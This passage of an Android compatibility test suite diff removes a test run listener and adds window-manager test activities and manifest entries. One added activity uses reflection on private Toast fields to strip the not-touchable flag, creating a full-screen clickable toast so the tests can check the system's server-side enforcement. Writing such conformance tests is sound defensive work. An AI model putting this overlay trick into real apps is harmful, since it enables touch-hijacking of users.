-import java.lang.Class;
-import java.lang.ReflectiveOperationException;
-import java.lang.reflect.Field;
-import java.lang.reflect.Modifier;
-import java.net.Authenticator;
-import java.net.CookieHandler;
-import java.net.ResponseCache;
-import java.text.DateFormat;
-import java.util.Locale;
-import java.util.Properties;
-import java.util.TimeZone;
-
-import javax.net.ssl.HostnameVerifier;
-import javax.net.ssl.HttpsURLConnection;
-import javax.net.ssl.SSLSocketFactory;
-
-/**
- * A {@link RunListener} for CTS. Sets the system properties necessary for many
- * core tests to run. This is needed because there are some core tests that need
- * writing access to the file system.
- * Finally, we add a means to free memory allocated by a TestCase after its
- * execution.
- */
-public class CtsTestRunListener extends InstrumentationRunListener {
-
-    private static final String TAG = "CtsTestRunListener";
-
-    private TestEnvironment mEnvironment;
-    private Class<?> lastClass;
-
-    @Override
-    public void testRunStarted(Description description) throws Exception {
-        mEnvironment = new TestEnvironment(getInstrumentation().getTargetContext());
-
-        // We might want to move this to /sdcard, if is is mounted/writable.
-        File cacheDir = getInstrumentation().getTargetContext().getCacheDir();
-        System.setProperty("java.io.tmpdir", cacheDir.getAbsolutePath());
-
-        // attempt to disable keyguard, if current test has permission to do so
-        // TODO: move this to a better place, such as InstrumentationTestRunner
-        // ?
-        if (getInstrumentation().getContext().checkCallingOrSelfPermission(
-                android.Manifest.permission.DISABLE_KEYGUARD)
-                == PackageManager.PERMISSION_GRANTED) {
-            Log.i(TAG, "Disabling keyguard");
-            KeyguardManager keyguardManager =
-                    (KeyguardManager) getInstrumentation().getContext().getSystemService(
-                            Context.KEYGUARD_SERVICE);
-            keyguardManager.newKeyguardLock("cts").disableKeyguard();
-        } else {
-            Log.i(TAG, "Test lacks permission to disable keyguard. " +
-                    "UI based tests may fail if keyguard is up");
-        }
-    }
-
-    @Override
-    public void testStarted(Description description) throws Exception {
-        if (description.getTestClass() != lastClass) {
-            lastClass = description.getTestClass();
-            printMemory(description.getTestClass());
-        }
-
-        mEnvironment.reset();
-    }
-
-    @Override
-    public void testFinished(Description description) {
-        // no way to implement this in JUnit4...
-        // offending test cases that need this logic should probably be cleaned
-        // up individually
-        // if (test instanceof TestCase) {
-        // cleanup((TestCase) test);
-        // }
-    }
-
-    /**
-     * Dumps some memory info.
-     */
-    private void printMemory(Class<?> testClass) {
-        Runtime runtime = Runtime.getRuntime();
-
-        long total = runtime.totalMemory();
-        long free = runtime.freeMemory();
-        long used = total - free;
-
-        Log.d(TAG, "Total memory  : " + total);
-        Log.d(TAG, "Used memory   : " + used);
-        Log.d(TAG, "Free memory   : " + free);
-
-        String tempdir = System.getProperty("java.io.tmpdir", "");
-        // TODO: Remove these extra Logs added to debug a specific timeout problem.
-        Log.d(TAG, "java.io.tmpdir is:" + tempdir);
-
-        if (!TextUtils.isEmpty(tempdir)) {
-            String[] commands = {"df", tempdir};
-            BufferedReader in = null;
-            try {
-                Log.d(TAG, "About to .exec df");
-                Process proc = runtime.exec(commands);
-                Log.d(TAG, ".exec returned");
-                in = new BufferedReader(new InputStreamReader(proc.getInputStream()));
-                Log.d(TAG, "Stream reader created");
-                String line;
-                while ((line = in.readLine()) != null) {
-                    Log.d(TAG, line);
-                }
-            } catch (IOException e) {
-                Log.d(TAG, "Exception: " + e.toString());
-                // Well, we tried
-            } finally {
-                Log.d(TAG, "In finally");
-                if (in != null) {
-                    try {
-                        in.close();
-                    } catch (IOException e) {
-                        // Meh
-                    }
-                }
-            }
-        }
-
-        Log.d(TAG, "Now executing : " + testClass.getName());
-    }
-
-    /**
-     * Nulls all non-static reference fields in the given test class. This
-     * method helps us with those test classes that don't have an explicit
-     * tearDown() method. Normally the garbage collector should take care of
-     * everything, but since JUnit keeps references to all test cases, a little
-     * help might be a good idea.
-     */
-    private void cleanup(TestCase test) {
-        Class<?> clazz = test.getClass();
-
-        while (clazz != TestCase.class) {
-            Field[] fields = clazz.getDeclaredFields();
-            for (int i = 0; i < fields.length; i++) {
-                Field f = fields[i];
-                if (!f.getType().isPrimitive() &&
-                        !Modifier.isStatic(f.getModifiers())) {
-                    try {
-                        f.setAccessible(true);
-                        f.set(test, null);
-                    } catch (Exception ignored) {
-                        // Nothing we can do about it.
-                    }
-                }
-            }
-
-            clazz = clazz.getSuperclass();
-        }
-    }
-
-    // http://code.google.com/p/vogar/source/browse/trunk/src/vogar/target/TestEnvironment.java
-    static class TestEnvironment {
-        private static final Field sDateFormatIs24HourField;
-        static {
-            try {
-                Class<?> dateFormatClass = Class.forName("java.text.DateFormat");
-                sDateFormatIs24HourField = dateFormatClass.getDeclaredField("is24Hour");
-            } catch (ReflectiveOperationException e) {
-                throw new AssertionError("Missing DateFormat.is24Hour", e);
-            }
-        }
-
-        private final Locale mDefaultLocale;
-        private final TimeZone mDefaultTimeZone;
-        private final HostnameVerifier mHostnameVerifier;
-        private final SSLSocketFactory mSslSocketFactory;
-        private final Properties mProperties = new Properties();
-        private final Boolean mDefaultIs24Hour;
-
-        TestEnvironment(Context context) {
-            mDefaultLocale = Locale.getDefault();
-            mDefaultTimeZone = TimeZone.getDefault();
-            mHostnameVerifier = HttpsURLConnection.getDefaultHostnameVerifier();
-            mSslSocketFactory = HttpsURLConnection.getDefaultSSLSocketFactory();
-
-            mProperties.setProperty("user.home", "");
-            mProperties.setProperty("java.io.tmpdir", context.getCacheDir().getAbsolutePath());
-            // The CDD mandates that devices that support WiFi are the only ones that will have
-            // multicast.
-            PackageManager pm = context.getPackageManager();
-            mProperties.setProperty("android.cts.device.multicast",
-                    Boolean.toString(pm.hasSystemFeature(PackageManager.FEATURE_WIFI)));
-            mDefaultIs24Hour = getDateFormatIs24Hour();
-
-            // There are tests in libcore that should be disabled for low ram devices. They can't
-            // access ActivityManager to call isLowRamDevice, but can read system properties.
-            ActivityManager activityManager =
-                    (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);
-            mProperties.setProperty("android.cts.device.lowram",
-                    Boolean.toString(activityManager.isLowRamDevice()));
-        }
-
-        void reset() {
-            System.setProperties(null);
-            System.setProperties(mProperties);
-            Locale.setDefault(mDefaultLocale);
-            TimeZone.setDefault(mDefaultTimeZone);
-            Authenticator.setDefault(null);
-            CookieHandler.setDefault(null);
-            ResponseCache.setDefault(null);
-            HttpsURLConnection.setDefaultHostnameVerifier(mHostnameVerifier);
-            HttpsURLConnection.setDefaultSSLSocketFactory(mSslSocketFactory);
-            setDateFormatIs24Hour(mDefaultIs24Hour);
-        }
-
-        private static Boolean getDateFormatIs24Hour() {
-            try {
-                return (Boolean) sDateFormatIs24HourField.get(null);
-            } catch (ReflectiveOperationException e) {
-                throw new AssertionError("Unable to get java.text.DateFormat.is24Hour", e);
-            }
-        }
-
-        private static void setDateFormatIs24Hour(Boolean value) {
-            try {
-                sDateFormatIs24HourField.set(null, value);
-            } catch (ReflectiveOperationException e) {
-                throw new AssertionError("Unable to set java.text.DateFormat.is24Hour", e);
-            }
-        }
-    }
-
-}
diff --git a/tests/filesystem/AndroidTest.xml b/tests/filesystem/AndroidTest.xml
index 3ab61fe..2612765 100644
--- a/tests/filesystem/AndroidTest.xml
+++ b/tests/filesystem/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsFileSystemTestCases.apk" />
diff --git a/tests/fragment/AndroidTest.xml b/tests/fragment/AndroidTest.xml
index 902b754..d8264bd 100644
--- a/tests/fragment/AndroidTest.xml
+++ b/tests/fragment/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="uitoolkit" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsFragmentTestCases.apk" />
diff --git a/tests/framework/base/windowmanager/AndroidManifest.xml b/tests/framework/base/windowmanager/AndroidManifest.xml
index a674c86..7ae8d88 100644
--- a/tests/framework/base/windowmanager/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/AndroidManifest.xml
@@ -114,6 +114,8 @@
 
         <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$CallbackTrackingActivity"/>
 
+        <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$SecondCallbackTrackingActivity"/>
+
         <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$TranslucentCallbackTrackingActivity"
                   android:theme="@android:style/Theme.Translucent.NoTitleBar" />
 
@@ -150,6 +152,18 @@
 
         <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$SlowActivity"/>
 
+        <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$NoDisplayActivity"
+                  android:theme="@android:style/Theme.NoDisplay" />
+
+        <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$DifferentAffinityActivity"
+                  android:taskAffinity="nobody.but.DifferentAffinityActivity" />
+
+        <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$TransitionSourceActivity"
+                  android:theme="@style/window_activity_transitions" />
+
+        <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$TransitionDestinationActivity"
+                  android:theme="@style/window_activity_transitions" />
+
         <activity android:name="android.server.wm.StartActivityTests$TestActivity2" />
 
         <activity android:name="android.server.wm.MultiDisplaySystemDecorationTests$ImeTestActivity" />
@@ -233,6 +247,10 @@
             android:launchMode="standard"
             android:taskAffinity=".t1"/>
         <activity
+            android:name="android.server.wm.intent.Activities$TaskAffinity1RelinquishTaskIdentityActivity"
+            android:relinquishTaskIdentity="true"
+            android:taskAffinity=".t1"/>
+        <activity
             android:name="android.server.wm.intent.Activities$TaskAffinity2Activity"
             android:allowTaskReparenting="true"
             android:launchMode="standard"
@@ -264,6 +282,9 @@
             android:name="android.server.wm.intent.Activities$LauncherActivity"
             android:documentLaunchMode="always"
             android:launchMode="singleInstance"/>
+        <activity
+            android:name="android.server.wm.intent.Activities$RelinquishTaskIdentityActivity"
+            android:relinquishTaskIdentity="true"/>
 
         <service
             android:name="android.server.wm.TestLogService"
@@ -295,7 +316,7 @@
         <activity android:name="android.server.wm.WindowFocusTests$LosingFocusActivity" />
         <activity android:name="android.app.Activity"/>
 
-        <activity android:name="android.server.wm.DragDropActivity"
+        <activity android:name="android.server.wm.DragDropTest$DragDropActivity"
                   android:screenOrientation="locked"
                   android:turnScreenOn="true"
                   android:showWhenLocked="true"
diff --git a/tests/framework/base/windowmanager/OWNERS b/tests/framework/base/windowmanager/OWNERS
index 74ad95d..2efb8fc 100644
--- a/tests/framework/base/windowmanager/OWNERS
+++ b/tests/framework/base/windowmanager/OWNERS
@@ -1,2 +1,4 @@
 # Bug component: 316125
 include ../OWNERS
+louischang@google.com
+riddlehsu@google.com
diff --git a/tests/framework/base/windowmanager/alertwindowservice/Android.bp b/tests/framework/base/windowmanager/alertwindowservice/Android.bp
index 034e587..192a814 100644
--- a/tests/framework/base/windowmanager/alertwindowservice/Android.bp
+++ b/tests/framework/base/windowmanager/alertwindowservice/Android.bp
@@ -16,13 +16,11 @@
     name: "CtsAlertWindowService",
     defaults: ["cts_support_defaults"],
 
-    static_libs: [
-        "cts-wm-app-base",
-        "compatibility-device-util-axt",
+    srcs: [
+        "src/**/*.java",
+        ":cts-wm-components-base",
     ],
 
-    srcs: ["src/**/*.java"],
-
     sdk_version: "test_current",
 
     test_suites: [
diff --git a/tests/framework/base/windowmanager/app/Android.bp b/tests/framework/base/windowmanager/app/Android.bp
index 189c3fe..16a59be 100644
--- a/tests/framework/base/windowmanager/app/Android.bp
+++ b/tests/framework/base/windowmanager/app/Android.bp
@@ -18,7 +18,8 @@
 
     static_libs: [
         "cts-wm-app-base",
-        "androidx.legacy_legacy-support-v4",
+         // Used by InputMethodTestActivity for ImeAwareEditText.
+        "compatibility-device-util-axt",
     ],
 
     srcs: [
diff --git a/tests/framework/base/windowmanager/app/AndroidManifest.xml b/tests/framework/base/windowmanager/app/AndroidManifest.xml
index 0b79756..5c41314 100755
--- a/tests/framework/base/windowmanager/app/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/app/AndroidManifest.xml
@@ -247,6 +247,11 @@
                   android:exported="true"
                   android:theme="@style/NoPreview"
         />
+        <activity android:name=".UnresponsiveActivity"
+                  android:process=".unresponsive_activity_process"
+                  android:exported="true"
+                  android:theme="@style/NoPreview"
+        />
         <activity android:name=".TranslucentTopActivity"
                   android:process=".top_process"
                   android:exported="true"
@@ -367,10 +372,6 @@
             android:theme="@style/SplashscreenTheme"
             android:exported="true" />
 
-
-        <activity android:name=".SwipeRefreshActivity"
-                  android:exported="true" />
-
         <activity android:name=".NoHistoryActivity"
                   android:noHistory="true"
                   android:exported="true" />
@@ -532,6 +533,10 @@
                <action android:name="android.service.vr.VrListenerService" />
            </intent-filter>
         </service>
+
+        <activity
+            android:name=".ClickableToastActivity"
+            android:exported="true" />
     </application>
 </manifest>
 
diff --git a/tests/framework/base/windowmanager/app/res/layout/toast.xml b/tests/framework/base/windowmanager/app/res/layout/toast.xml
new file mode 100644
index 0000000..3663ab6
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/res/layout/toast.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<RelativeLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:background="#FFFFFFFF"
+    >
+
+  <TextView
+      android:layout_width="wrap_content"
+      android:layout_height="wrap_content"
+      android:layout_centerInParent="true"
+      android:text="I'm a fullscreen toast!" />
+
+</RelativeLayout>
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/app/res/values/styles.xml b/tests/framework/base/windowmanager/app/res/values/styles.xml
index 6e2a820..c6a36d1 100644
--- a/tests/framework/base/windowmanager/app/res/values/styles.xml
+++ b/tests/framework/base/windowmanager/app/res/values/styles.xml
@@ -39,7 +39,6 @@
     </style>
     <style name="OpaqueTheme">
         <item name="android:windowIsTranslucent">false</item>
-        <item name="android:windowSwipeToDismiss">false</item>
         <item name="android:windowIsFloating">false</item>
     </style>
     <style name="NoPreview">
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/ClickableToastActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/ClickableToastActivity.java
new file mode 100644
index 0000000..347e254
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/ClickableToastActivity.java
@@ -0,0 +1,114 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.app;
+
+import static android.server.wm.app.Components.ToastReceiver.ACTION_TOAST_DISPLAYED;
+import static android.server.wm.app.Components.ToastReceiver.ACTION_TOAST_TAP_DETECTED;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.SystemClock;
+import android.view.Gravity;
+import android.view.LayoutInflater;
+import android.view.View;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Toast;
+
+import java.lang.ref.WeakReference;
+import java.lang.reflect.Field;
+
+public class ClickableToastActivity extends Activity {
+    private static final int DETECT_TOAST_TIMEOUT_MS = 15000;
+    private static final int DETECT_TOAST_POOLING_INTERVAL_MS = 200;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        Handler handler = new Handler();
+        Toast toast = getToast(this);
+        long deadline = SystemClock.uptimeMillis() + DETECT_TOAST_TIMEOUT_MS;
+        handler.post(new DetectToastRunnable(getApplicationContext(), toast.getView(), deadline,
+                handler));
+        toast.show();
+    }
+
+    private Toast getToast(Context context) {
+        Context applicationContext = context.getApplicationContext();
+        View view = LayoutInflater.from(context).inflate(R.layout.toast, null);
+        view.setOnTouchListener((v, event) -> {
+            applicationContext.sendBroadcast(new Intent(ACTION_TOAST_TAP_DETECTED));
+            return false;
+        });
+        Toast toast = getClickableToast(context);
+        toast.setView(view);
+        toast.setGravity(Gravity.FILL_HORIZONTAL | Gravity.FILL_VERTICAL, 0, 0);
+        toast.setDuration(Toast.LENGTH_LONG);
+        return toast;
+    }
+
+    /**
+     * Purposely creating a toast without FLAG_NOT_TOUCHABLE in the client-side (via reflection) to
+     * test enforcement on the server-side.
+     */
+    private Toast getClickableToast(Context context) {
+        try {
+            Toast toast = new Toast(context);
+            Field tnField = Toast.class.getDeclaredField("mTN");
+            tnField.setAccessible(true);
+            Object tnObject = tnField.get(toast);
+            Field paramsField = Class.forName(
+                    Toast.class.getCanonicalName() + "$TN").getDeclaredField("mParams");
+            paramsField.setAccessible(true);
+            LayoutParams params = (LayoutParams) paramsField.get(tnObject);
+            params.flags = LayoutParams.FLAG_KEEP_SCREEN_ON | LayoutParams.FLAG_NOT_FOCUSABLE;
+            return toast;
+        } catch (NoSuchFieldException | IllegalAccessException | ClassNotFoundException e) {
+            throw new IllegalStateException("Toast reflection failed", e);
+        }
+    }
+
+    private static class DetectToastRunnable implements Runnable {
+        private final Context mContext;
+        private final WeakReference<View> mToastViewRef;
+        private final long mDeadline;
+        private final Handler mHandler;
+
+        private DetectToastRunnable(
+                Context applicationContext, View toastView, long deadline, Handler handler) {
+            mContext = applicationContext;
+            mToastViewRef = new WeakReference<>(toastView);
+            mDeadline = deadline;
+            mHandler = handler;
+        }
+
+        @Override
+        public void run() {
+            View toastView = mToastViewRef.get();
+            if (SystemClock.uptimeMillis() > mDeadline || toastView == null) {
+                return;
+            }
+            if (toastView.getParent() != null) {
+                mContext.sendBroadcast(new Intent(ACTION_TOAST_DISPLAYED));
+                return;
+            }
+            mHandler.postDelayed(this, DETECT_TOAST_POOLING_INTERVAL_MS);
+        }
+    }
+}
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
index 94b397f..8b9705a 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
@@ -120,7 +120,6 @@
     public static final ComponentName SINGLE_TASK_ACTIVITY = component("SingleTaskActivity");
     public static final ComponentName SLOW_CREATE_ACTIVITY = component("SlowCreateActivity");
     public static final ComponentName SPLASHSCREEN_ACTIVITY = component("SplashscreenActivity");
-    public static final ComponentName SWIPE_REFRESH_ACTIVITY = component("SwipeRefreshActivity");
     public static final ComponentName TEST_ACTIVITY = component("TestActivity");
     public static final ComponentName TOAST_ACTIVITY = component("ToastActivity");
     public static final ComponentName TOP_ACTIVITY = component("TopActivity");
@@ -152,6 +151,7 @@
             component("TurnScreenOnSingleTaskActivity");
     public static final ComponentName TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY =
             component("TurnScreenOnWithRelayoutActivity");
+    public static final ComponentName UNRESPONSIVE_ACTIVITY = component("UnresponsiveActivity");
     public static final ComponentName VIRTUAL_DISPLAY_ACTIVITY =
             component("VirtualDisplayActivity");
     public static final ComponentName VR_TEST_ACTIVITY = component("VrTestActivity");
@@ -168,6 +168,9 @@
     public static final ComponentName LAUNCH_BROADCAST_RECEIVER =
             component("LaunchBroadcastReceiver");
 
+    public static final ComponentName CLICKABLE_TOAST_ACTIVITY =
+            component("ClickableToastActivity");
+
     public static class LaunchBroadcastReceiver {
         public static final String LAUNCH_BROADCAST_ACTION =
                 "android.server.wm.app.LAUNCH_BROADCAST_ACTION";
@@ -220,6 +223,9 @@
         public static final String EXTRA_FIXED_ORIENTATION = "fixed_orientation";
         public static final String EXTRA_CONFIGURATION = "configuration";
         public static final String EXTRA_CONFIG_ASSETS_SEQ = "config_assets_seq";
+        public static final String EXTRA_INTENTS = "intents";
+        public static final String EXTRA_NO_IDLE = "no_idle";
+        public static final String COMMAND_START_ACTIVITIES = "start_activities";
     }
 
     /**
@@ -273,6 +279,12 @@
         public static final String EXTRA_FONT_ACTIVITY_DPI = "fontActivityDpi";
     }
 
+    /** Extra key constants for {@link android.server.wm.app.TurnScreenOnActivity}. */
+    public static class TurnScreenOnActivity {
+        // Turn on screen by window flags or APIs.
+        public static final String EXTRA_USE_WINDOW_FLAGS = "useWindowFlags";
+    }
+
     /**
      *  Logging constants for {@link android.server.wm.app.KeyguardDismissLoggerCallback}.
      *
@@ -386,7 +398,18 @@
      */
     public static class TopActivity {
         public static final String EXTRA_FINISH_DELAY = "FINISH_DELAY";
+        public static final String EXTRA_FINISH_IN_ON_CREATE = "FINISH_IN_ON_CREATE";
         public static final String EXTRA_TOP_WALLPAPER = "USE_WALLPAPER";
+        public static final String ACTION_CONVERT_TO_TRANSLUCENT = "convert_to_translucent";
+        public static final String ACTION_CONVERT_FROM_TRANSLUCENT = "convert_from_translucent";
+    }
+
+    public static class UnresponsiveActivity {
+        public static final String EXTRA_ON_CREATE_DELAY_MS = "ON_CREATE_DELAY_MS";
+        public static final String EXTRA_DELAY_UI_THREAD_MS = "DELAY_UI_THREAD_MS";
+        public static final String EXTRA_ON_KEYDOWN_DELAY_MS = "ON_KEYDOWN_DELAY_MS";
+        public static final String EXTRA_ON_MOTIONEVENT_DELAY_MS = "ON_MOTIONEVENT_DELAY_MS";
+        public static final String PROCESS_NAME = ".unresponsive_activity_process";
     }
 
     /**
@@ -413,11 +436,16 @@
         public static final String COMMAND_RESIZE_DISPLAY = "resize_display";
     }
 
+    public static class ToastReceiver {
+        public static final String ACTION_TOAST_DISPLAYED = "toast_displayed";
+        public static final String ACTION_TOAST_TAP_DETECTED = "toast_tap_detected";
+    }
+
     private static ComponentName component(String className) {
         return component(Components.class, className);
     }
 
-    private static String getPackageName() {
+    public static String getPackageName() {
         return getPackageName(Components.class);
     }
 }
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/SwipeRefreshActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/SwipeRefreshActivity.java
deleted file mode 100644
index b36558d..0000000
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/SwipeRefreshActivity.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.wm.app;
-
-import android.os.Bundle;
-
-/**
- * An activity containing a SwipeRefreshLayout which prevents activity idle.
- */
-public class SwipeRefreshActivity extends AbstractLifecycleLogActivity {
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(new SwipeRefreshLayout(this));
-    }
-}
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/SwipeRefreshLayout.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/SwipeRefreshLayout.java
deleted file mode 100644
index 698aa89..0000000
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/SwipeRefreshLayout.java
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.wm.app;
-
-import android.content.Context;
-import android.util.AttributeSet;
-
-/**
- * An extension of {@link androidx.swiperefreshlayout.widget.SwipeRefreshLayout} that calls
- * {@link #setRefreshing} during construction, preventing activity idle.
- */
-public class SwipeRefreshLayout extends androidx.swiperefreshlayout.widget.SwipeRefreshLayout {
-    public SwipeRefreshLayout(Context context) {
-        super(context);
-        initialize();
-    }
-
-    public SwipeRefreshLayout(Context context, AttributeSet attrs) {
-        super(context, attrs);
-        initialize();
-    }
-
-    private void initialize() {
-        setRefreshing(true);
-    }
-}
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/TopActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/TopActivity.java
index 295b7f8..4cdc421 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/TopActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/TopActivity.java
@@ -16,7 +16,10 @@
 
 package android.server.wm.app;
 
+import static android.server.wm.app.Components.TopActivity.ACTION_CONVERT_FROM_TRANSLUCENT;
+import static android.server.wm.app.Components.TopActivity.ACTION_CONVERT_TO_TRANSLUCENT;
 import static android.server.wm.app.Components.TopActivity.EXTRA_FINISH_DELAY;
+import static android.server.wm.app.Components.TopActivity.EXTRA_FINISH_IN_ON_CREATE;
 import static android.server.wm.app.Components.TopActivity.EXTRA_TOP_WALLPAPER;
 
 import android.os.Bundle;
@@ -46,5 +49,23 @@
                     finish();
             }, finishDelay);
         }
+
+        if (getIntent().getBooleanExtra(EXTRA_FINISH_IN_ON_CREATE, false)) {
+            finish();
+        }
+    }
+
+    @Override
+    public void handleCommand(String command, Bundle data) {
+        switch(command) {
+            case ACTION_CONVERT_TO_TRANSLUCENT:
+                TopActivity.this.setTranslucent(true);
+                break;
+            case ACTION_CONVERT_FROM_TRANSLUCENT:
+                TopActivity.this.setTranslucent(false);
+                break;
+            default:
+                super.handleCommand(command, data);
+        }
     }
 }
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/TurnScreenOnActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/TurnScreenOnActivity.java
index af827cd..3c82695 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/TurnScreenOnActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/TurnScreenOnActivity.java
@@ -16,17 +16,22 @@
 
 package android.server.wm.app;
 
-import android.app.Activity;
 import android.os.Bundle;
 import android.view.WindowManager;
 
-public class TurnScreenOnActivity extends Activity {
+public class TurnScreenOnActivity extends AbstractLifecycleLogActivity {
     @Override
     protected void onCreate(Bundle savedInstanceState) {
-        getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
-                | WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED
-                | WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD
-                | WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
         super.onCreate(savedInstanceState);
+
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+        if (getIntent().getBooleanExtra(Components.TurnScreenOnActivity.EXTRA_USE_WINDOW_FLAGS,
+                false /* defaultValue */)) {
+            getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED
+                  | WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
+        } else {
+            setShowWhenLocked(true);
+            setTurnScreenOn(true);
+        }
     }
 }
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/UnresponsiveActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/UnresponsiveActivity.java
new file mode 100644
index 0000000..1a13255
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/UnresponsiveActivity.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.app;
+
+import static android.server.wm.app.Components.UnresponsiveActivity.EXTRA_DELAY_UI_THREAD_MS;
+import static android.server.wm.app.Components.UnresponsiveActivity.EXTRA_ON_CREATE_DELAY_MS;
